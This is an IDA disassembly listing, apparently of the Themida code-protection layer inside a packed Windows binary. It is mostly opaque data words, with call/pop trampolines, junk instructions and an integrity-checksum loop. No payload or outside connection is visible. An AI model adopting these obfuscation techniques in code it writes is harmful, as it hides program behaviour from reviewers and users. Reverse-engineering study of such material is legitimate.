		dd 0E4128585h, 8B665007h, 243489DEh, 2C31BD8Bh,	0B5FF07E4h
		dd 7E7F8A5h, 0F28B6660h, 19D5BD31h, 816107E4h, 6AAECAEBh
		dd 1195FF6Dh, 8307E41Bh, 0E40DF9BDh, 840F0007h,	54h, 0DDB58B60h
		dd 2B07E41Dh, 0E42EC595h, 89506107h, 8B602434h,	0E41E59B5h
		dd 0AE807h, 0F03B0000h,	0C7359352h, 0F253C812h,	10E9h
		dd 0EEA37300h, 30E71FD7h, 0AE31BB95h, 8DED703Eh, 0E9615943h
		dd 10h,	9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh, 0F8A5B5FFh
		dd 0F38007E7h, 7D95FF1Eh, 6607E402h, 8783D381h,	0CD9BBF66h
		dd 0F8A5B5FFh, 6A07E7h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 7CA65C3h, 0CF4C7EAAh, 0E853F20Eh
		dd 0Dh,	2E5CF9AAh, 0C005740Ch, 1E3E94CBh, 0B0C38115h, 5B326B02h
		dd 205210BFh, 7195FF1Eh, 6A07E409h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 8E30C356h
		dd 9D896003h, 7E40BA5h,	61C2B70Fh, 0A21BD83h, 0F0207E4h
		dd 6284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0FCD986D5h, 7ABB564Ch, 5F1DAEFEh
		dd 25CD9D89h, 858B07E4h, 7E41EB5h, 0C6F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 9EC35747h, 0AEC94166h
		dd 0BCBFB4C6h, 0E5958993h, 0C707E40Dh, 0E4267185h
		dd 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0FDBD8B92h, 0E907E40Dh, 0FFFFF323h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0DCC35040h
		dd 9005C44Dh, 8BD98B66h, 0D59D8BC1h, 0F07E40Dh,	858DD9B7h
		dd 7E40D85h, 89FE8B50h,	6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0A9965BC3h, 1E266F1h
		dd 0BF4CF404h, 6A169323h, 0B70F006Ah, 0F006ADFh, 48Dh
		dd 0D6BF6600h, 0B52957DEh, 7E41F11h, 858D5Fh, 6A07E88Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0CE0AC351h, 81C13FCDh, 0DF7DB4CFh, 2DCB810Ch
		dd 0E964F2E5h, 0Fh, 4668FC15h, 8C7017AFh, 94BF1CA0h, 83B5A9B2h
		dd 0C38105C0h, 5892188Eh, 9D9D0156h, 5B07E42Fh,	0BF525090h
		dd 6F9214Dh, 585A310Fh,	90D88B50h, 0DEBF0F60h, 61DEB70Fh
		dd 211DBD0Bh, 6A07E4h, 68B0Fh, 9D8B0000h, 7E402DDh, 9698D89h
		dd 6A07E4h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 19h,	87C35141h, 0C788571Fh, 95FFF88Fh, 7E42471h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6AC35141h, 4515AD50h
		dd 286D446Fh, 9D9D23F6h, 8B07E424h, 4B8D8DFAh, 6A07E7D6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 1C16C357h, 55302755h, 83D1FF93h, 0E42015BDh
		dd 850F0107h, 63h, 1835BD2Bh, 26A07E4h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 11C35242h, 5BD03FD6h
		dd 0A6730C9h, 0F506090h, 86h, 8F0F5E00h, 6, 840Fh, 50610000h
		dd 7E9h, 0BF81DD00h, 0DC005AA3h, 0D5BD0390h, 0FF07E425h
		dd 0E431AD95h, 51B58907h, 0E907E430h, 0DA0h, 0E8h, 0ED815D00h
		dd 7E88C0Ah, 66F78166h,	57006AFBh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0E1858DCFh, 0E907E7C6h
		dd 0Bh,	0AEEFF8E3h, 3E54F40Ch, 8B55C2DEh, 0E425F99Dh, 52509007h
		dd 2F6FC3BBh, 0E8310F3Bh, 0Bh, 1E549449h, 0C15B4853h, 600B0FB5h
		dd 585A5B61h, 0BF525050h, 4025593Fh, 14E8310Fh,	0C4000000h
		dd 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 0BF718B72h
		dd 14D1B6FEh, 90585A5Fh, 35FF64h, 0F000000h, 38Ah, 0F8B70F00h
		dd 258964h, 0FC000000h,	27B268BFh, 0B985FF01h, 8907E420h
		dd 0E41C31BDh, 31BD8907h, 6A07E42Ch, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 4CE0845Bh
		dd 7578EB89h, 0BD8B4D87h, 7E42285h, 226DBD03h, 0B5FF07E4h
		dd 7E406A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0D1C35747h, 82750553h, 7E89DD3h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5CB1B3:				; DATA XREF: Themida_:00583354o
		test	byte ptr [ebp-68503995h], 81h
		mov	bl, 0C7h
		pop	ebx
		call	dword ptr [ebp+7E4304Dh]
		jmp	loc_5CB2DA
; ---------------------------------------------------------------------------
		dd 2DB589h, 0B007E4h, 42986ABFh, 0F70E632h, 71E4FEBFh
		dd 6DB58B60h, 0E907E424h, 0Ah, 2399BE28h, 737B769Eh, 3C61C543h
		dd 0DF830F61h, 0F000000h, 0BAF5C8B6h, 6, 8BF8BF0Fh, 11BD0BC1h
		dd 0C107E416h, 0C4B304E8h, 8BE2F766h, 0E4198D9Dh, 0CE907h
		dd 90550000h, 8603ED36h, 1FF9FF6Fh, 0C82BF8A9h,	8BDF8B66h
		dd 0A99589D1h, 0E907E403h, 2, 858BFC8Ah, 7E40349h, 29BD9D2Bh
		dd 8B6607E4h, 7C083DFh,	1860Fh,	83F50000h, 8A0F00C0h, 2
		dd 0D03BF88Bh, 21830Fh,	13E90000h, 24000000h, 224E067Eh
		dd 7EA564E3h, 51489995h, 0C4436431h, 4FE95B23h,	66000000h
		dd 8BD4E2BFh, 0E40B698Dh, 66F88B07h, 0E183D98Bh, 37840F01h
		dd 0FC000000h, 0B69A583h, 0E9FE07E4h, 13h, 16B3D917h, 715D6D23h
		dd 17A04D00h, 5C1CBBBh,	8958328Bh, 0E4034995h, 91BD8B07h
		dd 8B07E402h, 0E4249D9Dh, 0E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5CB2DA:				; CODE XREF: Themida_:005CB1C3j
		lea	esi, [ebp+7E8187Bh]
		push	0
		push	edx
		call	sub_5CB2EB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB2EB	proc near		; CODE XREF: Themida_:005CB2E3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5CB2EB	endp

; ---------------------------------------------------------------------------
		jnb	short near ptr loc_5CB31E+3
		sbb	eax, 13E9h
		add	[edx+ecx*4-67E5AFDFh], ch
		stc
		rcl	al, cl
		adc	al, 93h
		mov	bh, 0F9h
		cmpsd
		adc	eax, 66F5D617h
		mov	[ebp+7E40EC9h],	ebx
		push	0


loc_5CB31E:				; CODE XREF: Themida_:005CB2FBj
		or	bx, 4D9Dh
		call	dword ptr [ebp+7E40E41h]
		push	0
		push	ebx
		call	sub_5CB334
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB334	proc near		; CODE XREF: Themida_:005CB32Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5CB334	endp

; ---------------------------------------------------------------------------
		inc	ebx
		add	eax, 26B95DE5h
		or	eax, 6A0000h
		push	esi
		call	sub_5CB358
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB358	proc near		; CODE XREF: Themida_:005CB350p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CB358	endp

; ---------------------------------------------------------------------------
		sub	eax, 2A806F81h
		xchg	eax, edx
		fadd	qword ptr [ecx+2D6A8ACBh]
		jl	short near ptr loc_5CB37E+3
		mov	ebp, 7E42A91h
		and	ecx, 0FFFFFFFCh


loc_5CB37E:				; CODE XREF: Themida_:005CB374j
		sub	[ebp+7E41E85h],	esi
		cld
		mov	[ebp+7E42649h],	ecx
		mov	eax, 0
		mov	[ebp+7E43581h],	eax
		clc
		mov	edx, 0
		jle	loc_5CB3AE
		js	loc_5CB3AE
		add	[ebp+7E40B09h],	esi


loc_5CB3AE:				; CODE XREF: Themida_:005CB39Cj
					; Themida_:005CB3A2j ...
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CB3AE
		push	0
		push	edi
		call	sub_5CB3C5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB3C5	proc near		; CODE XREF: Themida_:005CB3BDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CB3C5	endp

; ---------------------------------------------------------------------------
		db 84h,	0FFh, 0E4h
		dd 1465FD33h, 95090E16h, 7E402B5h, 0B2638BFh, 880D26h
		dd 12E90000h, 25000000h, 0C19DD59Bh, 94BC32E7h,	0F4104C39h
		dd 8D260B08h, 71958B0Eh, 8B07E41Bh, 0E42AAD9Dh,	0A18D8B07h
		dd 8107E42Dh, 73A393C7h, 0C28B5020h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 85D4C352h, 0D780C451h
		dd 224BB72h, 0BD831339h, 7E40611h, 3D840F00h, 60000000h
		dd 0A71B58Bh, 8D8907E4h, 7E400FDh, 0B861h, 0BF660000h
		dd 8D8DC727h, 7E44FE7h,	0EE953h, 872E0000h, 0C02062FCh
		dd 5CD8DF1Ch, 929218DFh, 0DEB70F5Bh, 9529E1FFh,	7E42A71h
		dd 22B9BD83h, 0F0007E4h, 49B84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 39AEB283h
		dd 0DB529D6h, 8307E415h, 0E422B9BDh, 840F0107h,	483h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9FC35545h, 256E1F88h
		dd 3830FFEh, 0F000000h,	0BD83DBBFh, 7E422B9h, 16860F03h
		dd 0FC000004h, 50006A60h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B8F1E98h, 943E6A6Fh
		dd 0BD2B8063h, 7E41C39h, 6AD98C66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0AA16C355h
		dd 79FDDF27h, 800058DCh, 8D2904E1h, 7E42205h, 840FC90Ah
		dd 14Fh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 16h,	75C35040h, 896051BBh, 0E402218Dh, 91BD8B07h, 6107E424h
		dd 651858Bh, 8B6607E4h,	298533DEh, 5607E420h, 527BB66h
		dd 5250905Fh, 8EA7D9BBh, 51310F35h, 840Fh, 5A5B0000h, 66605058h
		dd 66D008BBh, 9061D78Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0A6C35040h, 2BA0B8CFh, 0E40951BDh, 0D1BD0307h
		dd 2907E404h, 0E40879BDh, 6A006A07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7F8DC357h
		dd 0E6BEBFA6h, 0B5011957h, 7E4128Dh, 4E8h, 1F03FF00h, 0A5BB6600h
		dd 0BB665007h, 448B63CDh, 1B30424h, 89BB008Bh, 894AAB41h
		dd 0BF042444h, 4524D1F9h, 0FFFD8A58h, 0E42D9995h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 6021BA51h, 673366B0h, 9531E057h, 7E405C5h, 2C319501h
		dd 858907E4h, 7E7F8A5h,	0DE960h, 0D60A0000h, 0DDE2EAA2h
		dd 0A380BED1h, 0F867A65h, 68Ah,	0ED9D2B00h, 6107E42Bh
		dd 1F9E9h, 35858900h, 8B07E40Eh, 0E7F89D85h, 7BB6607h
		dd 0B50360B7h, 7E42785h, 0C761D18Bh, 1800h, 8BFB8B00h
		dd 0E7F8A1B5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 72F442ADh, 12E89F22h
		dd 49000000h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 0D986D5DAh
		dd 68E0FFCh, 81000000h,	0E42E6CCBh, 840F5F54h, 2, 858BD98Ah
		dd 7E40099h, 5E8h, 9DADE800h, 0D380CEA9h, 6895B73h, 8529F960h
		dd 7E4039Dh, 11BD8B61h,	8B07E40Eh, 0E4065185h, 4468907h
		dd 0F9858951h, 5B07E41Eh, 38A0Fh, 8B660000h, 0E96050FEh
		dd 11h,	39230273h, 0BF796F1h, 598EE6F7h, 26AAB3Ah, 10E9B4h
		dd 74E20000h, 0A5B9AC83h, 47231031h, 0DE0512F2h, 89615C5Fh
		dd 0BD8B2434h, 7E42589h, 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D4EAA4C3h
		dd 257EB556h, 0F52B6CEh, 0BD8BD8B7h, 7E42435h, 4E8h, 1F03FF00h
		dd 0FDBB6600h, 10E850DFh, 0A1000000h, 43004711h, 141319C0h
		dd 7B41E8D4h, 0E8956524h, 5, 0EA24AA15h, 7E954h, 0CA4D0000h
		dd 0C02CDD7Fh, 8B5F5FA8h, 0B3042444h, 0E8008BA5h, 6, 4ECF8CADh
		dd 91B7BC49h, 2444895Fh, 8B666004h, 28E0FC6h, 60000000h
		dd 6A586161h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2325C357h, 0F8A5858Dh,	0B58907E7h
		dd 7E406D5h, 89DE8B50h,	6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 982142C3h, 5FFEB66h
		dd 0BB669479h, 0FE9F428h, 12000000h, 0E55827EDh, 84A84972h
		dd 0CC4470DFh, 95FF7CFFh, 7E42D99h, 18718D89h, 0F86107E4h
		dd 8E853h, 15CA0000h, 7324397Ch, 0D88B591Ah, 85C75B5Bh
		dd 7E422B9h, 3,	2B45B509h, 0BD8307E4h, 7E7F8A5h, 3E840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0EF49C351h, 0B06A41E9h, 0BE9h
		dd 6A5D5C00h, 8EF4FE44h, 0FABCD83Fh, 6A19589h, 1DE907E4h
		dd 8B000000h, 0C3050D9h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 81BF6660h, 1F181BFh,	610A70AAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A4C35040h
		dd 0F633BAEh, 0BD83DABFh, 7E422B9h, 40850F03h, 0F000004h
		dd 0BD83DEBFh, 7E7F8A5h, 30840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 353DC353h, 6800F41h,	8B000000h, 0E40EF1BDh, 0A5B5FF07h
		dd 6007E7F8h, 68E0Fh, 0BD890000h, 7E42349h, 27A5BD89h
		dd 0FF6107E4h, 0E4044D95h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 8B7E2339h
		dd 176140DDh, 0B58B4642h, 7E7F899h, 3F11BF66h, 106C7h
		dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0C20F76C3h, 4916695Ch, 0BF66FD54h, 0BB6632D8h
		dd 0E89636F4h, 8, 0C00DDB15h, 394F2B03h, 505BDE8Bh, 7E853h
		dd 0D5500000h, 9FA79344h, 820F84h, 5F000000h, 6A965Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0AC6FBDC3h, 6FF33985h, 0B5FF4702h, 7E7F8A5h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F4C35141h, 0ABA2F1ADh
		dd 89FB3832h, 0E43169B5h, 995FF07h, 3307E42Ah, 0E42AFD9Dh
		dd 99B58B07h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 4723C350h, 65858BF2h
		dd 6A07E431h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 56BBC357h, 578211E2h, 0F3816695h
		dd 86890EAFh, 0C4h, 1EB19D8Bh, 958B07E4h, 7E41B71h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B0C35747h, 1660179Fh
		dd 0C7A05DC2h, 8E0F50D7h, 6, 870Fh, 835F0000h, 6A04C2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8D01C4C3h, 7E417D9h,	6A205089h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D593C355h
		dd 0AD9D8BC5h, 8D07E42Ah, 0E80CD485h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 530D148Ah, 6E8409A1h, 0AE9h,	43376400h, 0A6138369h
		dd 8914BD4Bh, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0B3CD8BFh, 6649EC7Ah
		dd 6AA820BBh, 0D7816600h, 0B5FFFED8h, 7E7F8A5h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 23C35040h, 5607C66h
		dd 0C105D764h, 0AD95FFBFh, 8B07E431h, 0E6BF96D8h, 50355522h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0B74A1307h, 0B5FF67A6h, 7E7F8A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 1195FF94h
		dd 6A07E41Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 10AFC356h, 0F4992951h,	89607F03h
		dd 0E4023D85h, 0DEBF0F07h, 0F9BD8361h, 7E40Dh, 12840Fh
		dd 0BD8B0000h, 7E42409h, 89D98A50h, 85892434h, 7E42BF9h
		dd 0F8A5B5FFh, 6A07E7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0F838AEC3h, 27D95FFh, 0BD2907E4h
		dd 7E40419h, 0F8A5B5FFh, 13E907E7h, 58000000h, 0A4DF1882h
		dd 5085ED38h, 362371BEh, 0F4033B0Eh, 5E8BE7Dh, 1000000h
		dd 0C485192Ah, 458D8960h, 6607E41Ah, 0BDA8D881h, 95FF5B61h
		dd 7E40971h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	40C35040h, 0A21BD83h, 0F0207E4h, 3A84h,	98D8900h
		dd 8B07E42Bh, 0E41EB585h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD8BBB1Fh
		dd 7E421A1h, 2D75BD23h,	0C607E4h, 0C7FE8B00h, 0E4267185h
		dd 7, 6D9D8900h, 0E907E42Dh, 0FFFFF353h, 1C15BD89h, 0C18B07E4h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9C35343h
		dd 4B7A083Dh, 9D2BC911h, 7E42465h
dword_5CBE30	dd 0D85858Dh, 9D2B07E4h, 7E41BD1h, 0F5905090h, 0BF0F006Ah
					; DATA XREF: Themida_:00584B14o
		dd 0F006AFFh, 9D31F8BFh, 7E42349h, 9AC7858Dh, 0BD8B07E8h
		dd 7E40E45h, 6005C083h,	2F7D958Bh, 506107E4h, 12E8h, 318D9B00h
		dd 0A3A2F948h, 0EA2DA14Fh, 79A163C3h, 662FC228h, 5F2173BFh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 23B2C351h, 0A6CEBB29h,	6A7246h
		dd 22D19D8Bh, 6A07E4h, 1B9D9D8Bh, 95FF07E4h, 7E42471h
		dd 0BC0CC781h, 8D8D4C58h, 7E7D64Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 68C35646h, 0C362B174h, 0FE9325Bh
		dd 0DE000000h, 0B248E4C6h, 0C400B2B5h, 8521190Eh, 0D1FF521Ch
		dd 1D69BD2Bh, 0BD8307E4h, 7E42015h, 3B850F01h, 89000000h
		dd 0E40D89BDh, 6A026A07h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0FB83C357h,	0C48616FCh
		dd 50FAD380h, 4895F50h,	0AD95FF24h, 0F07E431h, 8EE9DEBFh
		dd 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E89AD1h
		push	0
		push	esi
		call	sub_5CBF6E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF6E	proc near		; CODE XREF: Themida_:005CBF66p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CBF6E	endp

; ---------------------------------------------------------------------------
		dw 2882h
		dd 0D8C67AA5h, 2964746Dh, 0E42AA5B5h, 359D8B07h, 6A07E402h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0E998C353h, 8B665014h, 858D5BFAh,	7E7C6E1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B5C35141h
		dd 0B6CE257Eh, 8E0FE952h, 5, 0BDEB8166h, 665090B1h, 5B390DBBh
		dd 3B0FBB50h, 6A9073EDh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 3A28C356h, 0C860Fh
		dd 830F0000h, 6, 0E29B589h, 0BE807E4h, 0C9000000h, 93D529E5h
		dd 5F95EC66h, 85892D8Dh, 7E431DDh, 35FF645Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CC04F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC04F	proc near		; CODE XREF: Themida_:005CC047p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CC04F	endp

; ---------------------------------------------------------------------------
		mov	dh, 60h
		mov	bx, 9F1Fh
		mov	ebx, eax
		popa
		mov	large fs:0, esp
		sub	[ebp+7E40DB9h],	edi
		inc	dword ptr [ebp+7E420B9h]
		push	0
		push	ebx
		call	sub_5CC086
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC086	proc near		; CODE XREF: Themida_:005CC07Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CC086	endp

; ---------------------------------------------------------------------------
		push	0FFFFFFECh
		jz	loc_5CC0A4
		mov	[ebp+7E41C7Dh],	ebx


loc_5CC0A4:				; CODE XREF: Themida_:005CC098j
		push	0FFFFFFFFh
		jmp	loc_5CC0BE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 457F8229h, 2C5F2E41h, 7F61D8CAh, 229E772Ah
; ---------------------------------------------------------------------------
		adc	esi, edi


loc_5CC0BE:				; CODE XREF: Themida_:005CC0A6j
		push	dword ptr [ebp+7E41811h]
		push	0
		push	edx
		call	sub_5CC0CF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC0CF	proc near		; CODE XREF: Themida_:005CC0C7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5CC0CF	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 0DA8B668Ch, 304D95FFh, 66E907E4h, 0F000001h,	1289h
		dd 0DE900h, 3D760000h, 176D8D1Fh, 29582B5Eh, 0B0D21AE2h
		dd 0BD9D8900h, 0E607E415h, 0BBB6670h, 6671E499h, 3924CB81h
		dd 830F613Ch, 131h, 29C8B60Fh, 0E4213D85h, 6840F07h, 29000000h
		dd 0E40ED5B5h, 6BA07h, 9E90000h, 0AB000000h, 605F12DCh
		dd 9254BCEh, 58F0Fh, 3BB0000h, 8B742097h, 4E8C1C1h, 2D458D31h
		dd 0F76607E4h, 2BDF8BE2h, 38E0FC8h, 80000000h, 8B6049D3h
		dd 0E4024595h, 2810F07h, 57000000h, 0D18B615Ah,	10E9h
		dd 28FC5500h, 0DA03216Fh, 82E7919Fh, 0F03831DDh, 6E949h
		dd 0D7810000h, 424ADF54h, 25C5858Bh, 5E907E4h, 78000000h
		dd 47E6EEB0h, 8907C083h, 0E42221B5h, 0C08307h, 0A58D8957h
		dd 5B07E415h, 830FD03Bh, 2Ch, 0E5BD8B51h, 5F07E422h, 78E9h
		dd 13E800h, 141F0000h, 0D531980h, 0BA0268A8h, 7E44EAF4h
		dd 7264DA26h, 19BD8B32h, 5B07E40Ah, 35918D8Bh, 0E85107E4h
		dd 12h,	0EED3E5DBh, 60914E07h, 76675CC0h, 1C3EA262h, 0DEB768FDh
		dd 9D035F5Fh, 7E40035h,	0F01E183h, 2884h, 68E0F00h, 1000000h
		dd 0E403F985h, 91A58307h, 0FE07E435h, 19E7BB66h, 25C59589h
		dd 0BD8B07E4h, 7E41DD9h, 0E9h, 2AB58D00h, 8B07E827h, 0E423A1BDh
		dd 6A006A07h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0E5B6C356h, 5E9h, 0D421E600h
		dd 95FF06A7h, 7E40E41h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 8C35545h, 0E8D260Bh, 0CE95380h, 0B1000000h
		dd 852A6553h, 28637CD7h, 0B91CD69Ch, 817h, 2FE1BD8Bh, 0E18307E4h
		dd 0B1BD89FCh, 0FC07E418h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0D9C35545h, 9743A5E3h, 0F4F6DF5h, 0A87h
		dd 5E900h, 0A79A0000h, 2B093BBCh, 659D09C0h, 0BA07E424h
		dd 0
; ---------------------------------------------------------------------------
		adc	bx, 0E48Bh
		sub	edi, 5BE889F7h


loc_5CC323:				; CODE XREF: Themida_:005CC32Dj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CC323
		push	0
		push	ecx
		call	sub_5CC33A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC33A	proc near		; CODE XREF: Themida_:005CC332p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5CC33A	endp

; ---------------------------------------------------------------------------
		dw 0F7F4h
; ---------------------------------------------------------------------------
		or	[edx], eax
		sal	ebp, 1
		xchg	ecx, ebp
		push	0
		push	edx
		call	sub_5CC35D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC35D	proc near		; CODE XREF: Themida_:005CC355p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CC35D	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0FA0F3EE7h
		xlat
		retf
; ---------------------------------------------------------------------------
		dec	ebp
		dec	ecx
		clc
		or	eax, 88h
		push	0
		push	ebx
		call	sub_5CC387
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC387	proc near		; CODE XREF: Themida_:005CC37Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CC387	endp

; ---------------------------------------------------------------------------
		db 0EBh
		dd 6E9C8h, 34E80000h, 0ED6DB31Eh, 71958BF5h, 6A07E41Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
